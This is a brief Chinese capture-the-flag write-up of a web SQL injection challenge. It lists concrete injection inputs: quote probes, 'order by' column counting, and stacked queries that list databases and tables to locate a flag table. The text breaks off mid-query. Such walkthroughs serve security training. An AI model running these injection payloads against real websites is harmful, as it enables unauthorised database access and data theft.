wp 一次簡單的攻防訓練

Web2 輸入’發現語法錯誤 輸入’#顯示正常，存在sql注入 order by order by 2正常，order by 3出現錯誤，所以只有兩個字段 聯合查詢，發現一些關鍵字被過濾 查詢數據庫 1’;show databases;# 查詢表 1’;show table;# 查看錶,發現flag在1919810931114514中 1?inject=1’ and 1=2; desc 19198

>>阅读原文<<